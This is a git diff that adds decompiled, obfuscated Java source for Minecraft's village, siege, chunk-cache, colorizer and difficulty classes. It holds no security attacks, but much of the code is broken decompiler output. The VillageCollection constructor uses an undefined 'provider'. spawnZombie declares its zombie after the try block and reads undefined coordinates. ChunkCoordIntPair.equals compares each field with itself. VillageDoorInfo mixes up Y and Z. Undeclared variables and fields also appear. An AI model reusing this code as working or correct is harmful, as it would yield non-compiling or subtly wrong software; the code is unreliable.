+    NBTTagList var7 = new NBTTagList();
+    Iterator var8 = playerReputation.keySet().iterator();
+    
+    while (var8.hasNext())
+    {
+      String var9 = (String)var8.next();
+      NBTTagCompound var6 = new NBTTagCompound();
+      var6.setString("Name", var9);
+      var6.setInteger("S", ((Integer)playerReputation.get(var9)).intValue());
+      var7.appendTag(var6);
+    }
+    
+    p_82689_1_.setTag("Players", var7);
+  }
+  
+
+
+
+  public void endMatingSeason()
+  {
+    noBreedTicks = tickCounter;
+  }
+  
+
+
+
+  public boolean isMatingSeason()
+  {
+    return (noBreedTicks == 0) || (tickCounter - noBreedTicks >= 3600);
+  }
+  
+  public void setDefaultPlayerReputation(int p_82683_1_)
+  {
+    Iterator var2 = playerReputation.keySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      setReputationForPlayer(var3, p_82683_1_);
+    }
+  }
+  
+  class VillageAgressor
+  {
+    public EntityLivingBase agressor;
+    public int agressionTime;
+    private static final String __OBFID = "CL_00001632";
+    
+    VillageAgressor(EntityLivingBase p_i1674_2_, int p_i1674_3_)
+    {
+      agressor = p_i1674_2_;
+      agressionTime = p_i1674_3_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/village/VillageCollection.java b/src/minecraft/net/minecraft/village/VillageCollection.java
new file mode 100644
index 0000000..716d3e9
--- /dev/null
+++ b/src/minecraft/net/minecraft/village/VillageCollection.java
@@ -0,0 +1,333 @@
+package net.minecraft.village;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDoor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.WorldSavedData;
+
+
+
+
+public class VillageCollection
+  extends WorldSavedData
+{
+  private World worldObj;
+  private final List villagerPositionsList = Lists.newArrayList();
+  private final List newDoors = Lists.newArrayList();
+  private final List villageList = Lists.newArrayList();
+  private int tickCounter;
+  private static final String __OBFID = "CL_00001635";
+  
+  public VillageCollection(String p_i1677_1_)
+  {
+    super(p_i1677_1_);
+  }
+  
+  public VillageCollection(World worldIn)
+  {
+    super(func_176062_a(provider));
+    worldObj = worldIn;
+    markDirty();
+  }
+  
+  public void func_82566_a(World worldIn)
+  {
+    worldObj = worldIn;
+    Iterator var2 = villageList.iterator();
+    
+    while (var2.hasNext())
+    {
+      Village var3 = (Village)var2.next();
+      var3.func_82691_a(worldIn);
+    }
+  }
+  
+  public void func_176060_a(BlockPos p_176060_1_)
+  {
+    if (villagerPositionsList.size() <= 64)
+    {
+      if (!func_176057_e(p_176060_1_))
+      {
+        villagerPositionsList.add(p_176060_1_);
+      }
+    }
+  }
+  
+
+
+
+  public void tick()
+  {
+    tickCounter += 1;
+    Iterator var1 = villageList.iterator();
+    
+    while (var1.hasNext())
+    {
+      Village var2 = (Village)var1.next();
+      var2.tick(tickCounter);
+    }
+    
+    removeAnnihilatedVillages();
+    dropOldestVillagerPosition();
+    addNewDoorsToVillageOrCreateVillage();
+    
+    if (tickCounter % 400 == 0)
+    {
+      markDirty();
+    }
+  }
+  
+  private void removeAnnihilatedVillages()
+  {
+    Iterator var1 = villageList.iterator();
+    
+    while (var1.hasNext())
+    {
+      Village var2 = (Village)var1.next();
+      
+      if (var2.isAnnihilated())
+      {
+        var1.remove();
+        markDirty();
+      }
+    }
+  }
+  
+
+
+
+  public List getVillageList()
+  {
+    return villageList;
+  }
+  
+  public Village func_176056_a(BlockPos p_176056_1_, int p_176056_2_)
+  {
+    Village var3 = null;
+    double var4 = 3.4028234663852886E38D;
+    Iterator var6 = villageList.iterator();
+    
+    while (var6.hasNext())
+    {
+      Village var7 = (Village)var6.next();
+      double var8 = var7.func_180608_a().distanceSq(p_176056_1_);
+      
+      if (var8 < var4)
+      {
+        float var10 = p_176056_2_ + var7.getVillageRadius();
+        
+        if (var8 <= var10 * var10)
+        {
+          var3 = var7;
+          var4 = var8;
+        }
+      }
+    }
+    
+    return var3;
+  }
+  
+  private void dropOldestVillagerPosition()
+  {
+    if (!villagerPositionsList.isEmpty())
+    {
+      func_180609_b((BlockPos)villagerPositionsList.remove(0));
+    }
+  }
+  
+  private void addNewDoorsToVillageOrCreateVillage()
+  {
+    for (int var1 = 0; var1 < newDoors.size(); var1++)
+    {
+      VillageDoorInfo var2 = (VillageDoorInfo)newDoors.get(var1);
+      Village var3 = func_176056_a(var2.func_179852_d(), 32);
+      
+      if (var3 == null)
+      {
+        var3 = new Village(worldObj);
+        villageList.add(var3);
+        markDirty();
+      }
+      
+      var3.addVillageDoorInfo(var2);
+    }
+    
+    newDoors.clear();
+  }
+  
+  private void func_180609_b(BlockPos p_180609_1_)
+  {
+    byte var2 = 16;
+    byte var3 = 4;
+    byte var4 = 16;
+    
+    for (int var5 = -var2; var5 < var2; var5++)
+    {
+      for (int var6 = -var3; var6 < var3; var6++)
+      {
+        for (int var7 = -var4; var7 < var4; var7++)
+        {
+          BlockPos var8 = p_180609_1_.add(var5, var6, var7);
+          
+          if (func_176058_f(var8))
+          {
+            VillageDoorInfo var9 = func_176055_c(var8);
+            
+            if (var9 == null)
+            {
+              func_176059_d(var8);
+            }
+            else
+            {
+              var9.func_179849_a(tickCounter);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  private VillageDoorInfo func_176055_c(BlockPos p_176055_1_)
+  {
+    Iterator var2 = newDoors.iterator();
+    
+    VillageDoorInfo var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        var2 = villageList.iterator();
+        
+        VillageDoorInfo var4;
+        do
+        {
+          if (!var2.hasNext())
+          {
+            return null;
+          }
+          
+          Village var5 = (Village)var2.next();
+          var4 = var5.func_179864_e(p_176055_1_);
+        }
+        while (var4 == null);
+        
+        return var4;
+      }
+      
+      var3 = (VillageDoorInfo)var2.next();
+    }
+    while ((var3.func_179852_d().getX() != p_176055_1_.getX()) || (var3.func_179852_d().getZ() != p_176055_1_.getZ()) || (Math.abs(var3.func_179852_d().getY() - p_176055_1_.getY()) > 1));
+    
+    return var3;
+  }
+  
+  private void func_176059_d(BlockPos p_176059_1_)
+  {
+    EnumFacing var2 = BlockDoor.func_176517_h(worldObj, p_176059_1_);
+    EnumFacing var3 = var2.getOpposite();
+    int var4 = func_176061_a(p_176059_1_, var2, 5);
+    int var5 = func_176061_a(p_176059_1_, var3, var4 + 1);
+    
+    if (var4 != var5)
+    {
+      newDoors.add(new VillageDoorInfo(p_176059_1_, var4 < var5 ? var2 : var3, tickCounter));
+    }
+  }
+  
+  private int func_176061_a(BlockPos p_176061_1_, EnumFacing p_176061_2_, int p_176061_3_)
+  {
+    int var4 = 0;
+    
+    for (int var5 = 1; var5 <= 5; var5++)
+    {
+      if (worldObj.isAgainstSky(p_176061_1_.offset(p_176061_2_, var5)))
+      {
+        var4++;
+        
+        if (var4 >= p_176061_3_)
+        {
+          return var4;
+        }
+      }
+    }
+    
+    return var4;
+  }
+  
+  private boolean func_176057_e(BlockPos p_176057_1_)
+  {
+    Iterator var2 = villagerPositionsList.iterator();
+    
+    BlockPos var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return false;
+      }
+      
+      var3 = (BlockPos)var2.next();
+    }
+    while (!var3.equals(p_176057_1_));
+    
+    return true;
+  }
+  
+  private boolean func_176058_f(BlockPos p_176058_1_)
+  {
+    Block var2 = worldObj.getBlockState(p_176058_1_).getBlock();
+    return var2.getMaterial() == Material.wood;
+  }
+  
+
+
+
+  public void readFromNBT(NBTTagCompound nbt)
+  {
+    tickCounter = nbt.getInteger("Tick");
+    NBTTagList var2 = nbt.getTagList("Villages", 10);
+    
+    for (int var3 = 0; var3 < var2.tagCount(); var3++)
+    {
+      NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+      Village var5 = new Village();
+      var5.readVillageDataFromNBT(var4);
+      villageList.add(var5);
+    }
+  }
+  
+
+
+
+  public void writeToNBT(NBTTagCompound nbt)
+  {
+    nbt.setInteger("Tick", tickCounter);
+    NBTTagList var2 = new NBTTagList();
+    Iterator var3 = villageList.iterator();
+    
+    while (var3.hasNext())
+    {
+      Village var4 = (Village)var3.next();
+      NBTTagCompound var5 = new NBTTagCompound();
+      var4.writeVillageDataToNBT(var5);
+      var2.appendTag(var5);
+    }
+    
+    nbt.setTag("Villages", var2);
+  }
+  
+  public static String func_176062_a(WorldProvider p_176062_0_)
+  {
+    return "villages" + p_176062_0_.getInternalNameSuffix();
+  }
+}
diff --git a/src/minecraft/net/minecraft/village/VillageDoorInfo.java b/src/minecraft/net/minecraft/village/VillageDoorInfo.java
new file mode 100644
index 0000000..c700ede
--- /dev/null
+++ b/src/minecraft/net/minecraft/village/VillageDoorInfo.java
@@ -0,0 +1,113 @@
+package net.minecraft.village;
+
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+
+public class VillageDoorInfo
+{
+  private final BlockPos field_179859_a;
+  private final BlockPos field_179857_b;
+  private final EnumFacing field_179858_c;
+  private int lastActivityTimestamp;
+  private boolean isDetachedFromVillageFlag;
+  private int doorOpeningRestrictionCounter;
+  private static final String __OBFID = "CL_00001630";
+  
+  public VillageDoorInfo(BlockPos p_i45871_1_, int p_i45871_2_, int p_i45871_3_, int p_i45871_4_)
+  {
+    this(p_i45871_1_, func_179854_a(p_i45871_2_, p_i45871_3_), p_i45871_4_);
+  }
+  
+  private static EnumFacing func_179854_a(int p_179854_0_, int p_179854_1_)
+  {
+    return p_179854_1_ < 0 ? EnumFacing.NORTH : p_179854_0_ > 0 ? EnumFacing.EAST : p_179854_0_ < 0 ? EnumFacing.WEST : EnumFacing.SOUTH;
+  }
+  
+  public VillageDoorInfo(BlockPos p_i45872_1_, EnumFacing p_i45872_2_, int p_i45872_3_)
+  {
+    field_179859_a = p_i45872_1_;
+    field_179858_c = p_i45872_2_;
+    field_179857_b = p_i45872_1_.offset(p_i45872_2_, 2);
+    lastActivityTimestamp = p_i45872_3_;
+  }
+  
+
+
+
+  public int getDistanceSquared(int p_75474_1_, int p_75474_2_, int p_75474_3_)
+  {
+    return (int)field_179859_a.distanceSq(p_75474_1_, p_75474_2_, p_75474_3_);
+  }
+  
+  public int func_179848_a(BlockPos p_179848_1_)
+  {
+    return (int)p_179848_1_.distanceSq(func_179852_d());
+  }
+  
+  public int func_179846_b(BlockPos p_179846_1_)
+  {
+    return (int)field_179857_b.distanceSq(p_179846_1_);
+  }
+  
+  public boolean func_179850_c(BlockPos p_179850_1_)
+  {
+    int var2 = p_179850_1_.getX() - field_179859_a.getX();
+    int var3 = p_179850_1_.getZ() - field_179859_a.getY();
+    return var2 * field_179858_c.getFrontOffsetX() + var3 * field_179858_c.getFrontOffsetZ() >= 0;
+  }
+  
+  public void resetDoorOpeningRestrictionCounter()
+  {
+    doorOpeningRestrictionCounter = 0;
+  }
+  
+  public void incrementDoorOpeningRestrictionCounter()
+  {
+    doorOpeningRestrictionCounter += 1;
+  }
+  
+  public int getDoorOpeningRestrictionCounter()
+  {
+    return doorOpeningRestrictionCounter;
+  }
+  
+  public BlockPos func_179852_d()
+  {
+    return field_179859_a;
+  }
+  
+  public BlockPos func_179856_e()
+  {
+    return field_179857_b;
+  }
+  
+  public int func_179847_f()
+  {
+    return field_179858_c.getFrontOffsetX() * 2;
+  }
+  
+  public int func_179855_g()
+  {
+    return field_179858_c.getFrontOffsetZ() * 2;
+  }
+  
+  public int getInsidePosY()
+  {
+    return lastActivityTimestamp;
+  }
+  
+  public void func_179849_a(int p_179849_1_)
+  {
+    lastActivityTimestamp = p_179849_1_;
+  }
+  
+  public boolean func_179851_i()
+  {
+    return isDetachedFromVillageFlag;
+  }
+  
+  public void func_179853_a(boolean p_179853_1_)
+  {
+    isDetachedFromVillageFlag = p_179853_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/village/VillageSiege.java b/src/minecraft/net/minecraft/village/VillageSiege.java
new file mode 100644
index 0000000..5883907
--- /dev/null
+++ b/src/minecraft/net/minecraft/village/VillageSiege.java
@@ -0,0 +1,216 @@
+package net.minecraft.village;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.entity.EntityLiving.SpawnPlacementType;
+import net.minecraft.entity.monster.EntityZombie;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.SpawnerAnimals;
+import net.minecraft.world.World;
+
+public class VillageSiege
+{
+  private World worldObj;
+  private boolean field_75535_b;
+  private int field_75536_c = -1;
+  
+  private int field_75533_d;
+  
+  private int field_75534_e;
+  private Village theVillage;
+  private int field_75532_g;
+  private int field_75538_h;
+  private int field_75539_i;
+  private static final String __OBFID = "CL_00001634";
+  
+  public VillageSiege(World worldIn)
+  {
+    worldObj = worldIn;
+  }
+  
+
+
+
+  public void tick()
+  {
+    if (worldObj.isDaytime())
+    {
+      field_75536_c = 0;
+    }
+    else if (field_75536_c != 2)
+    {
+      if (field_75536_c == 0)
+      {
+        float var1 = worldObj.getCelestialAngle(0.0F);
+        
+        if ((var1 < 0.5D) || (var1 > 0.501D))
+        {
+          return;
+        }
+        
+        field_75536_c = (worldObj.rand.nextInt(10) == 0 ? 1 : 2);
+        field_75535_b = false;
+        
+        if (field_75536_c == 2)
+        {
+          return;
+        }
+      }
+      
+      if (field_75536_c != -1)
+      {
+        if (!field_75535_b)
+        {
+          if (!func_75529_b())
+          {
+            return;
+          }
+          
+          field_75535_b = true;
+        }
+        
+        if (field_75534_e > 0)
+        {
+          field_75534_e -= 1;
+        }
+        else
+        {
+          field_75534_e = 2;
+          
+          if (field_75533_d > 0)
+          {
+            spawnZombie();
+            field_75533_d -= 1;
+          }
+          else
+          {
+            field_75536_c = 2;
+          }
+        }
+      }
+    }
+  }
+  
+  private boolean func_75529_b()
+  {
+    List var1 = worldObj.playerEntities;
+    Iterator var2 = var1.iterator();
+    
+    while (var2.hasNext())
+    {
+      EntityPlayer var3 = (EntityPlayer)var2.next();
+      
+      if (!var3.func_175149_v())
+      {
+        theVillage = worldObj.getVillageCollection().func_176056_a(new BlockPos(var3), 1);
+        
+        if ((theVillage != null) && (theVillage.getNumVillageDoors() >= 10) && (theVillage.getTicksSinceLastDoorAdding() >= 20) && (theVillage.getNumVillagers() >= 20))
+        {
+          BlockPos var4 = theVillage.func_180608_a();
+          float var5 = theVillage.getVillageRadius();
+          boolean var6 = false;
+          int var7 = 0;
+          
+
+
+          while (var7 < 10)
+          {
+            float var8 = worldObj.rand.nextFloat() * 3.1415927F * 2.0F;
+            field_75532_g = (var4.getX() + (int)(MathHelper.cos(var8) * var5 * 0.9D));
+            field_75538_h = var4.getY();
+            field_75539_i = (var4.getZ() + (int)(MathHelper.sin(var8) * var5 * 0.9D));
+            var6 = false;
+            Iterator var9 = worldObj.getVillageCollection().getVillageList().iterator();
+            
+            while (var9.hasNext())
+            {
+              Village var10 = (Village)var9.next();
+              
+              if ((var10 != theVillage) && (var10.func_179866_a(new BlockPos(field_75532_g, field_75538_h, field_75539_i))))
+              {
+                var6 = true;
+                break;
+              }
+            }
+            
+            if (!var6)
+              break;
+            var7++;
+          }
+          
+
+
+          if (var6)
+          {
+            return false;
+          }
+          
+          Vec3 var11 = func_179867_a(new BlockPos(field_75532_g, field_75538_h, field_75539_i));
+          
+          if (var11 != null)
+          {
+            field_75534_e = 0;
+            field_75533_d = 20;
+            return true;
+          }
+        }
+      }
+    }
+    
+
+
+
+    return false;
+  }
+  
+  private boolean spawnZombie()
+  {
+    Vec3 var1 = func_179867_a(new BlockPos(field_75532_g, field_75538_h, field_75539_i));
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+
+
+    try
+    {
+      EntityZombie var2 = new EntityZombie(worldObj);
+      var2.func_180482_a(worldObj.getDifficultyForLocation(new BlockPos(var2)), null);
+      var2.setVillager(false);
+    }
+    catch (Exception var4)
+    {
+      var4.printStackTrace();
+      return false;
+    }
+    EntityZombie var2;
+    var2.setLocationAndAngles(xCoord, yCoord, zCoord, worldObj.rand.nextFloat() * 360.0F, 0.0F);
+    worldObj.spawnEntityInWorld(var2);
+    BlockPos var3 = theVillage.func_180608_a();
+    var2.func_175449_a(var3, theVillage.getVillageRadius());
+    return true;
+  }
+  
+
+  private Vec3 func_179867_a(BlockPos p_179867_1_)
+  {
+    for (int var2 = 0; var2 < 10; var2++)
+    {
+      BlockPos var3 = p_179867_1_.add(worldObj.rand.nextInt(16) - 8, worldObj.rand.nextInt(6) - 3, worldObj.rand.nextInt(16) - 8);
+      
+      if ((theVillage.func_179866_a(var3)) && (SpawnerAnimals.func_180267_a(EntityLiving.SpawnPlacementType.ON_GROUND, worldObj, var3)))
+      {
+        return new Vec3(var3.getX(), var3.getY(), var3.getZ());
+      }
+    }
+    
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/ChunkCache.java b/src/minecraft/net/minecraft/world/ChunkCache.java
new file mode 100644
index 0000000..b63e7b7
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/ChunkCache.java
@@ -0,0 +1,189 @@
+package net.minecraft.world;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.Chunk.EnumCreateEntityType;
+
+
+public class ChunkCache
+  implements IBlockAccess
+{
+  protected int chunkX;
+  protected int chunkZ;
+  protected Chunk[][] chunkArray;
+  protected boolean hasExtendedLevels;
+  protected World worldObj;
+  private static final String __OBFID = "CL_00000155";
+  
+  public ChunkCache(World worldIn, BlockPos p_i45746_2_, BlockPos p_i45746_3_, int p_i45746_4_)
+  {
+    worldObj = worldIn;
+    chunkX = (p_i45746_2_.getX() - p_i45746_4_ >> 4);
+    chunkZ = (p_i45746_2_.getZ() - p_i45746_4_ >> 4);
+    int var5 = p_i45746_3_.getX() + p_i45746_4_ >> 4;
+    int var6 = p_i45746_3_.getZ() + p_i45746_4_ >> 4;
+    chunkArray = new Chunk[var5 - chunkX + 1][var6 - chunkZ + 1];
+    hasExtendedLevels = true;
+    
+
+
+    for (int var7 = chunkX; var7 <= var5; var7++)
+    {
+      for (int var8 = chunkZ; var8 <= var6; var8++)
+      {
+        chunkArray[(var7 - chunkX)][(var8 - chunkZ)] = worldIn.getChunkFromChunkCoords(var7, var8);
+      }
+    }
+    
+    for (var7 = p_i45746_2_.getX() >> 4; var7 <= p_i45746_3_.getX() >> 4; var7++)
+    {
+      for (int var8 = p_i45746_2_.getZ() >> 4; var8 <= p_i45746_3_.getZ() >> 4; var8++)
+      {
+        Chunk var9 = chunkArray[(var7 - chunkX)][(var8 - chunkZ)];
+        
+        if ((var9 != null) && (!var9.getAreLevelsEmpty(p_i45746_2_.getY(), p_i45746_3_.getY())))
+        {
+          hasExtendedLevels = false;
+        }
+      }
+    }
+  }
+  
+
+
+
+  public boolean extendedLevelsInChunkCache()
+  {
+    return hasExtendedLevels;
+  }
+  
+  public TileEntity getTileEntity(BlockPos pos)
+  {
+    int var2 = (pos.getX() >> 4) - chunkX;
+    int var3 = (pos.getZ() >> 4) - chunkZ;
+    return chunkArray[var2][var3].func_177424_a(pos, Chunk.EnumCreateEntityType.IMMEDIATE);
+  }
+  
+  public int getCombinedLight(BlockPos p_175626_1_, int p_175626_2_)
+  {
+    int var3 = func_175629_a(EnumSkyBlock.SKY, p_175626_1_);
+    int var4 = func_175629_a(EnumSkyBlock.BLOCK, p_175626_1_);
+    
+    if (var4 < p_175626_2_)
+    {
+      var4 = p_175626_2_;
+    }
+    
+    return var3 << 20 | var4 << 4;
+  }
+  
+  public IBlockState getBlockState(BlockPos pos)
+  {
+    if ((pos.getY() >= 0) && (pos.getY() < 256))
+    {
+      int var2 = (pos.getX() >> 4) - chunkX;
+      int var3 = (pos.getZ() >> 4) - chunkZ;
+      
+      if ((var2 >= 0) && (var2 < chunkArray.length) && (var3 >= 0) && (var3 < chunkArray[var2].length))
+      {
+        Chunk var4 = chunkArray[var2][var3];
+        
+        if (var4 != null)
+        {
+          return var4.getBlockState(pos);
+        }
+      }
+    }
+    
+    return Blocks.air.getDefaultState();
+  }
+  
+  public BiomeGenBase getBiomeGenForCoords(BlockPos pos)
+  {
+    return worldObj.getBiomeGenForCoords(pos);
+  }
+  
+  private int func_175629_a(EnumSkyBlock p_175629_1_, BlockPos p_175629_2_)
+  {
+    if ((p_175629_1_ == EnumSkyBlock.SKY) && (worldObj.provider.getHasNoSky()))
+    {
+      return 0;
+    }
+    if ((p_175629_2_.getY() >= 0) && (p_175629_2_.getY() < 256))
+    {
+
+
+      if (getBlockState(p_175629_2_).getBlock().getUseNeighborBrightness())
+      {
+        int var3 = 0;
+        EnumFacing[] var9 = EnumFacing.values();
+        int var5 = var9.length;
+        
+        for (int var6 = 0; var6 < var5; var6++)
+        {
+          EnumFacing var7 = var9[var6];
+          int var8 = func_175628_b(p_175629_1_, p_175629_2_.offset(var7));
+          
+          if (var8 > var3)
+          {
+            var3 = var8;
+          }
+          
+          if (var3 >= 15)
+          {
+            return var3;
+          }
+        }
+        
+        return var3;
+      }
+      
+
+      int var3 = (p_175629_2_.getX() >> 4) - chunkX;
+      int var4 = (p_175629_2_.getZ() >> 4) - chunkZ;
+      return chunkArray[var3][var4].getLightFor(p_175629_1_, p_175629_2_);
+    }
+    
+
+
+    return defaultLightValue;
+  }
+  
+
+  public boolean isAirBlock(BlockPos pos)
+  {
+    return getBlockState(pos).getBlock().getMaterial() == Material.air;
+  }
+  
+  public int func_175628_b(EnumSkyBlock p_175628_1_, BlockPos p_175628_2_)
+  {
+    if ((p_175628_2_.getY() >= 0) && (p_175628_2_.getY() < 256))
+    {
+      int var3 = (p_175628_2_.getX() >> 4) - chunkX;
+      int var4 = (p_175628_2_.getZ() >> 4) - chunkZ;
+      return chunkArray[var3][var4].getLightFor(p_175628_1_, p_175628_2_);
+    }
+    
+
+    return defaultLightValue;
+  }
+  
+
+  public int getStrongPower(BlockPos pos, EnumFacing direction)
+  {
+    IBlockState var3 = getBlockState(pos);
+    return var3.getBlock().isProvidingStrongPower(this, pos, var3, direction);
+  }
+  
+  public WorldType getWorldType()
+  {
+    return worldObj.getWorldType();
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/ChunkCoordIntPair.java b/src/minecraft/net/minecraft/world/ChunkCoordIntPair.java
new file mode 100644
index 0000000..bf5ee41
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/ChunkCoordIntPair.java
@@ -0,0 +1,126 @@
+package net.minecraft.world;
+
+import net.minecraft.util.BlockPos;
+
+
+
+
+public class ChunkCoordIntPair
+{
+  public final int chunkXPos;
+  public final int chunkZPos;
+  private static final String __OBFID = "CL_00000133";
+  private int cachedHashCode = 0;
+  
+  public ChunkCoordIntPair(int x, int z)
+  {
+    chunkXPos = x;
+    chunkZPos = z;
+  }
+  
+
+
+
+  public static long chunkXZ2Int(int x, int z)
+  {
+    return x & 0xFFFFFFFF | (z & 0xFFFFFFFF) << 32;
+  }
+  
+  public int hashCode()
+  {
+    if (cachedHashCode == 0)
+    {
+      int var1 = 1664525 * chunkXPos + 1013904223;
+      int var2 = 1664525 * (chunkZPos ^ 0xDEADBEEF) + 1013904223;
+      cachedHashCode = (var1 ^ var2);
+    }
+    
+    return cachedHashCode;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof ChunkCoordIntPair))
+    {
+      return false;
+    }
+    
+
+    ChunkCoordIntPair var2 = (ChunkCoordIntPair)p_equals_1_;
+    return (chunkXPos == chunkXPos) && (chunkZPos == chunkZPos);
+  }
+  
+
+  public int getCenterXPos()
+  {
+    return (chunkXPos << 4) + 8;
+  }
+  
+  public int getCenterZPosition()
+  {
+    return (chunkZPos << 4) + 8;
+  }
+  
+
+
+
+  public int getXStart()
+  {
+    return chunkXPos << 4;
+  }
+  
+
+
+
+  public int getZStart()
+  {
+    return chunkZPos << 4;
+  }
+  
+
+
+
+  public int getXEnd()
+  {
+    return (chunkXPos << 4) + 15;
+  }
+  
+
+
+
+  public int getZEnd()
+  {
+    return (chunkZPos << 4) + 15;
+  }
+  
+
+
+
+
+
+
+
+  public BlockPos getBlock(int x, int y, int z)
+  {
+    return new BlockPos((chunkXPos << 4) + x, y, (chunkZPos << 4) + z);
+  }
+  
+
+
+
+
+
+  public BlockPos getCenterBlock(int y)
+  {
+    return new BlockPos(getCenterXPos(), y, getCenterZPosition());
+  }
+  
+  public String toString()
+  {
+    return "[" + chunkXPos + ", " + chunkZPos + "]";
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/ColorizerFoliage.java b/src/minecraft/net/minecraft/world/ColorizerFoliage.java
new file mode 100644
index 0000000..6b7cb11
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/ColorizerFoliage.java
@@ -0,0 +1,45 @@
+package net.minecraft.world;
+
+
+public class ColorizerFoliage
+{
+  private static int[] foliageBuffer = new int[65536];
+  private static final String __OBFID = "CL_00000135";
+  
+  public ColorizerFoliage() {}
+  
+  public static void setFoliageBiomeColorizer(int[] p_77467_0_) { foliageBuffer = p_77467_0_; }
+  
+
+
+
+
+  public static int getFoliageColor(double p_77470_0_, double p_77470_2_)
+  {
+    p_77470_2_ *= p_77470_0_;
+    int var4 = (int)((1.0D - p_77470_0_) * 255.0D);
+    int var5 = (int)((1.0D - p_77470_2_) * 255.0D);
+    return foliageBuffer[(var5 << 8 | var4)];
+  }
+  
+
+
+
+  public static int getFoliageColorPine()
+  {
+    return 6396257;
+  }
+  
+
+
+
+  public static int getFoliageColorBirch()
+  {
+    return 8431445;
+  }
+  
+  public static int getFoliageColorBasic()
+  {
+    return 4764952;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/ColorizerGrass.java b/src/minecraft/net/minecraft/world/ColorizerGrass.java
new file mode 100644
index 0000000..03102b1
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/ColorizerGrass.java
@@ -0,0 +1,25 @@
+package net.minecraft.world;
+
+
+public class ColorizerGrass
+{
+  private static int[] grassBuffer = new int[65536];
+  private static final String __OBFID = "CL_00000138";
+  
+  public ColorizerGrass() {}
+  
+  public static void setGrassBiomeColorizer(int[] p_77479_0_) { grassBuffer = p_77479_0_; }
+  
+
+
+
+
+  public static int getGrassColor(double p_77480_0_, double p_77480_2_)
+  {
+    p_77480_2_ *= p_77480_0_;
+    int var4 = (int)((1.0D - p_77480_0_) * 255.0D);
+    int var5 = (int)((1.0D - p_77480_2_) * 255.0D);
+    int var6 = var5 << 8 | var4;
+    return var6 > grassBuffer.length ? -65281 : grassBuffer[var6];
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/DifficultyInstance.java b/src/minecraft/net/minecraft/world/DifficultyInstance.java
new file mode 100644
index 0000000..0b45b1e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/DifficultyInstance.java
@@ -0,0 +1,51 @@
+package net.minecraft.world;
+
+import net.minecraft.util.MathHelper;
+
+public class DifficultyInstance
+{
+  private final EnumDifficulty field_180172_a;
+  private final float field_180171_b;
+  private static final String __OBFID = "CL_00002261";
+  
+  public DifficultyInstance(EnumDifficulty p_i45904_1_, long p_i45904_2_, long p_i45904_4_, float p_i45904_6_)
+  {
+    field_180172_a = p_i45904_1_;
+    field_180171_b = func_180169_a(p_i45904_1_, p_i45904_2_, p_i45904_4_, p_i45904_6_);
+  }
+  
+  public float func_180168_b()
+  {
+    return field_180171_b;
+  }
+  
+  public float func_180170_c()
+  {
+    return field_180171_b > 4.0F ? 1.0F : field_180171_b < 2.0F ? 0.0F : (field_180171_b - 2.0F) / 2.0F;
+  }
+  
+  private float func_180169_a(EnumDifficulty p_180169_1_, long p_180169_2_, long p_180169_4_, float p_180169_6_)
+  {
+    if (p_180169_1_ == EnumDifficulty.PEACEFUL)
+    {
+      return 0.0F;
+    }
+    
+
+    boolean var7 = p_180169_1_ == EnumDifficulty.HARD;
+    float var8 = 0.75F;
+    float var9 = MathHelper.clamp_float(((float)p_180169_2_ + -72000.0F) / 1440000.0F, 0.0F, 1.0F) * 0.25F;
+    var8 += var9;
+    float var10 = 0.0F;
+    var10 += MathHelper.clamp_float((float)p_180169_4_ / 3600000.0F, 0.0F, 1.0F) * (var7 ? 1.0F : 0.75F);
+    var10 += MathHelper.clamp_float(p_180169_6_ * 0.25F, 0.0F, var9);
+    
+    if (p_180169_1_ == EnumDifficulty.EASY)
+    {
+      var10 *= 0.5F;
+    }
+    
+    var8 += var10;
+    return p_180169_1_.getDifficultyId() * var8;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/EnumDifficulty.java b/src/minecraft/net/minecraft/world/EnumDifficulty.java
new file mode 100644
index 0000000..71c7865
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/EnumDifficulty.java
@@ -0,0 +1,77 @@
+package net.minecraft.world;
+
+public enum EnumDifficulty
+{
+  PEACEFUL("PEACEFUL", 0, 0, "options.difficulty.peaceful"), 
+  EASY("EASY", 1, 1, "options.difficulty.easy"), 
+  NORMAL("NORMAL", 2, 2, "options.difficulty.normal"), 
+  HARD("HARD", 3, 3, "options.difficulty.hard");
+  
+  private static final EnumDifficulty[] difficultyEnums;
+  private final int difficultyId;
+  private final String difficultyResourceKey;
